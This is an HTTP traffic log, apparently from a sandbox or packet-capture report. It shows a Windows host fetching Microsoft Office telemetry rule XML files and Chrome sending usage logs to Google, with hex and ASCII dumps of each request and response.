2024-11-19 19:05:32 UTC	1390	IN	Data Raw: 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 Data Ascii: ]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|f.value[0].x!=4\|\|f.value[1]!=f.value[0]?!1:e.ne
2024-11-19 19:05:32 UTC	1390	IN	Data Raw: 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 26 31 30 32 33 7c 35 36 33 32 30 29 29 7d 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6d 61 28 Data Ascii: d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536,c+=String.fromCharCode(e>>>10&1023\|55296),c+=String.fromCharCode(e&1023\|56320))}return c}});ma(

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:31 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190531Z-185f5d8b95cf7qddhC1NYC66an000000098g000000005u25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:31 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190532Z-185f5d8b95c4vwv8hC1NYCy4v400000009c0000000001fc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:32 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190532Z-185f5d8b95ckwnflhC1NYCx9qs000000097g00000000ay7b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:32 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:32 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190532Z-185f5d8b95cwtv72hC1NYC141w0000000930000000009zcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:32 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:32 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190532Z-1777c6cb7542p5p4hC1TEBq09800000008h0000000008rmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:32 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190532Z-185f5d8b95cdtclvhC1NYC4rmc000000099000000000e63p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	49795	142.250.186.110	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:32 UTC	714	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 19:05:32 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 32 30 34 33 31 33 30 35 35 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1732043130556",null,null,null,
2024-11-19 19:05:33 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=asA2gxVF5Pb7qYo2FL6TWB8kC3gBQr67CIFnu-SoYk6ru01yLAfER_4Xx3KfYJXv0qCFi2fCdkZY1ghELsYF_jfRodj-Pk-4WkeTqMNm6Udh0B4_PoMlU9DILzznrmmohc8qLI7ejkACl6nSqSfV5XCghYegBpkLymmEcpMdjtA8HqFepw; expires=Wed, 21-May-2025 19:05:32 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 19 Nov 2024 19:05:32 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 19 Nov 2024 19:05:32 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-19 19:05:33 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-19 19:05:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:32 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:32 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190532Z-r1d97b99577d6qrbhC1TEBux5s000000080000000000016e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:32 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:33 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:33 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190533Z-185f5d8b95cdh56ghC1NYCk1x400000002zg00000000fupg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:33 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:33 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:33 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190533Z-185f5d8b95c95vpshC1NYC759c00000009800000000004pw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:33 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 